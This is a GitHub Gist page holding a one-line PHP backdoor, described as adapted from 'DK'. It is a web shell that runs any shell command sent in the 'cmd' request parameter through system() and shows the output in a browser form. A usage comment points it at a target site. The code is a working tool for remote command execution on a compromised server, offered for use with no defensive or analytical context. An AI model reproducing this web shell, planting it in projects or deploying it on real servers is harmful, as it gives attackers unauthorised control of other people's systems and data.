Skip to content

Instantly share code, notes, and snippets.

@Roy-Orbison
Forked from sente/Simple-Backdoor-One-Liner.php
Last active March 9, 2018 07:35
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save Roy-Orbison/59a3e245d5ad13346c7b90b609149e17 to your computer and use it in GitHub Desktop.
Save Roy-Orbison/59a3e245d5ad13346c7b90b609149e17 to your computer and use it in GitHub Desktop.
<?php # Simple PHP Backdoor adapted from DK (One-Liner Version)
# Usage: https://target.com/unique-name-of-your-backdoor.php
<?php if (isset($_REQUEST['cmd'])) { echo '<style>html{height:100%}body{box-sizing:border-box;min-height:100%;margin:0;padding:1ex;background:#000;color:#eee}</style><pre><code>'; ob_start('htmlspecialchars'); system($_REQUEST['cmd']); echo ob_get_clean(), '</code></pre>'; exit; }
echo '<title>$</title><form action="', htmlspecialchars($_SERVER['REQUEST_URI']), '" method=post target=cmd_result><input name=cmd size=80> <input type=submit value=execute></form><hr><iframe name=cmd_result style="width:80em;height:30em">ready</iframe>';
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment